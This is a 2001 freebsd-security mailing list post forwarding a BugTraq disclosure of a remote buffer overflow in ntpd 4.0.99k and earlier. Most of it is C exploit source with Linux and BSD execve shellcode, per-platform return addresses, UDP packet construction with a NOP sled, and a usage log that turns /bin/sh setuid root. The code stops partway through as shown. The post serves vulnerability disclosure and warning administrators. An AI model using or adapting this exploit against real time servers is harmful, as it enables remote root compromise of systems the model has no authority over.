From owner-freebsd-security Wed Apr 4 16:47:17 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail2.insweb.com (mail2.insweb.com [204.254.158.36]) by hub.freebsd.org (Postfix) with ESMTP id 5C9C937B43E for ; Wed, 4 Apr 2001 16:46:58 -0700 (PDT) (envelope-from fbsd-secure@ursine.com) Received: from ursine.com (dhcp-4-45-203.users.insweb.com [10.4.45.203]) by mail2.insweb.com (8.11.0/8.11.0) with ESMTP id f34NkhT42184 for ; Wed, 4 Apr 2001 16:46:52 -0700 (PDT) (envelope-from fbsd-secure@ursine.com) Message-ID: <3ACBB263.2804E9C2@ursine.com> Date: Wed, 04 Apr 2001 16:46:43 -0700 From: Michael Bryan X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Fwd: ntpd =< 4.0.99k remote buffer overflow Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Heads up. This just came across BugTraq, will likely affect FreeBSD. As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b. -------- Original Message -------- From: Przemyslaw Frasunek Subject: ntpd =< 4.0.99k remote buffer overflow To: BUGTRAQ@SECURITYFOCUS.COM /* ntpd remote root exploit / babcia padlina ltd. */ /* * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable * to remote buffer overflow attack. It occurs when building response for * a query with large readvar argument. In almost all cases, ntpd is running * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver. * * Althought it's a normal buffer overflow, exploiting it is much harder. * Destination buffer is accidentally damaged, when attack is performed, so * shellcode can't be larger than approx. 70 bytes. This proof of concept code * uses small execve() shellcode to run /tmp/sh binary. Full remote attack * is possible. * * NTP is stateless UDP based protocol, so all malicious queries can be * spoofed. * * Example of use on generic RedHat 7.0 box: * * [venglin@cipsko venglin]$ cat dupa.c * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost * ntpdx v1.0 by venglin@freebsd.lublin.pl * * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) * * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query * [1] <- evil query (pkt = 512 | shell = 45) * [2] <- null query (pkt = 12) * Done. * /tmp/sh was spawned. * [venglin@cipsko venglin]$ ls -al /bin/bash * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash * */ #include #include #include #include #include #include #include #include #include #include #define NOP 0x90 #define ADDRS 8 #define PKTSIZ 512 static char usage[] = "usage: ntpdx [-o offset] <-t type> "; /* generic execve() shellcodes */ char lin_execve[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; char bsd_execve[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; struct platforms { char *os; char *version; char *code; long ret; int align; int shalign; int port; }; /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet * *after* RET address. This values will vary from platform to platform. */ struct platforms targ[] = { { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, 0xbfbff8bc, 200, 220, 0 }, { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, 0xbfbff540, 200, 220, 0 }, { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, 0xbffff777, 240, 160, 0 }, { NULL, NULL, NULL, 0x0, 0, 0, 0 } }; long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno; if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } int doquery(host, ret, shellcode, align, shalign) char *host, *shellcode; long ret; int align, shalign; { /* tcpdump-based reverse engineering :)) */ char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, 0x74, 0x75, 0x6d, 0x3d }; char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; char buf[PKTSIZ], *p; long *ap; int i; int sockfd; struct sockaddr_in sa; bzero(&sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(123); sa.sin_addr.s_addr = getip(host); if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return -1; } if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) { perror("connect"); close(sockfd); return -1; } memset(buf, NOP, PKTSIZ); memcpy(buf, q2, sizeof(q2)); p = buf + align; ap = (unsigned long *)p; for(i=0;i